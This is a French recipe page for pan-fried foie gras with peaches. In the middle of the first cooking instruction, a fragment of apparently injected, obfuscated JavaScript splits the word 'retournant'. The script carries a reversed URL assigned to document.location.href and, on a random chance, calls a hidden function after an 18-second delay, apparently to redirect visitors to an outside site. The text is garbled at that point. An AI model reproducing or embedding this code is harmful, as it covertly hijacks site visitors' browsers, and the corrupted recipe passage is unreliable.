Foie gras à la poêle avec des pêches
2021-05-07- Niveau : Difficile
Égouttez, coupez en lamelles les pêches. Dans une poêle avec une noix de beurre, sur feu vif, faites les dorer rapidement sans trop de cuisson, en les retobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournant souvent. Poivrez.
Ingrédients
Égouttez, coupez en lamelles les pêches. Dans une poêle avec une noix de beurre, sur feu vif, faites les dorer rapidement sans trop de cuisson, en les retournant souvent. Poivrez. Dénervez le foie avec un petit couteau. Détaillez en escalopes. Dans une autre poêle sans matière grasse et sur feu vif, faites colorer le foie gras recto verso, salez, poivrez. Déposez dans un plat de service en alternant pêches, foie gras, arrosez avec du vinaigre balsamique.
Préchauffez le four à 240°C thermostat 8. Enfournez et faites cuire pendant 8 minutes. Vérifiez la cuisson. Parsemez de fleur de sel. Dégustez.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
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